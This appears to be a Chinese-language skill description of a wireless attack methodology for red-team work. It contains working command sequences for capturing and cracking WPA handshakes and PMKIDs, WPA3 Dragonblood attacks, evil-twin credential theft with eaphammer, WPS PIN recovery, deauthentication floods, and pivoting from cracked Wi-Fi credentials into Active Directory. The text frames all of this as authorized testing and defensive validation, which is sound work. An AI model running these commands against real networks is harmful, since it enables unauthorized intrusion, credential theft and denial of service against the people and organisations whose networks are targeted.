用途：用于红队交战与无线安全评估的 802.11 攻击方法论，覆盖从硬件选型到破解的完整流程。
主要能力： 一、监听与注入准备。选择支持监听模式、注入且频段/PHY 匹配目标的网卡，用 airmon-ng 启动监听并验证注入能力： sudo airmon-ng check kill sudo airmon-ng start wlan0 sudo aireplay-ng --test wlan0mon iw list | grep -A 8 "Supported interface modes" 二、侦察。先用 airodump-ng 被动扫描，不在掌握拓扑前发送 deauth： sudo airodump-ng wlan0mon --band abg sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w cap wlan0mon 记录 BSSID、ESSID、信道、加密方式、PMF 状态、客户端、RSSI 与厂商 OUI。 三、WPA/WPA2-PSK。捕获四次握手或 PMKID，再离线破解： hcxpcapngtool -o hash.hc22000 handshake-01.cap sudo hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1 --filterlist_ap=targets.txt --filtermode=2 hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/OneRuleToRuleThemAll.rule 四、WPA3/SAE。含过渡模式降级、Dragonblood（CVE-2019-9494/9495/13377）、SAE 认证洪水等；参考实现： git clone https://github.com/vanhoefm/dragonblood python3 dragontime.py --bssid AA:BB:CC:DD:EE:FF --iface wlan0mon 五、WPA-Enterprise。识别 EAP 内层方法后，用 eaphammer 搭建恶意 AP 与 RADIUS 获取凭据： eaphammer -i wlan0 --essid CorpWiFi --bssid AA:BB:CC:DD:EE:FF --auth wpa-eap --creds asleap -C challenge -R response -W wordlist.txt 亦可走 EAP-TLS 证书窃取路径（DPAPI、NDES、ADCS 模板）。 六、WPS。Pixie Dust 离线恢复 PIN（reaver -K 1 或 bully），在线爆破仅作最后手段；多数现代 AP 数次失败即锁定。 七、邪恶双胞胎/KARMA/Mana。wifiphisher 搭建门户，airgeddon 交互式菜单，hostapd-mana 与 eaphammer 处理探针与已知 SSID。 八、其他。KRACK、FragAttacks 补丁状态测试，deauth/disassoc 与认证洪水，802.1X 有线 NAC 绕过，Wi-Fi 6/6E/7 注意事项，以及蓝牙、BLE、Zigbee、Z-Wave、LoRa、Sub-GHz 等邻频无线测试。
使用方式：按“准备→侦察→选择攻击→离线破解→企业网横向”顺序推进。企业网中若破解出域用户可向 AD 横向，如： nxc smb dc -u captured_user -p cracked_pass --pass-pol
适用场景：获授权的红队交战、无线安全评估与防御方检测验证。
限制：802.11w（PMF）会阻断未加密 deauth；6 GHz 强制 WPA3 与 PMF，多数攻击被规范缓解；OFDMA/MU-MIMO、TWT、MLO 会影响注入与抓包；在线字典爆破与 PIN 爆破缓慢且噪声大；文档包含检测/防御视角对照表，用于说明检测触发与规避条件。本技能聚焦方法论与命令流程，未提供具体费率或平台信息；所有测试须在明确授权范围内进行。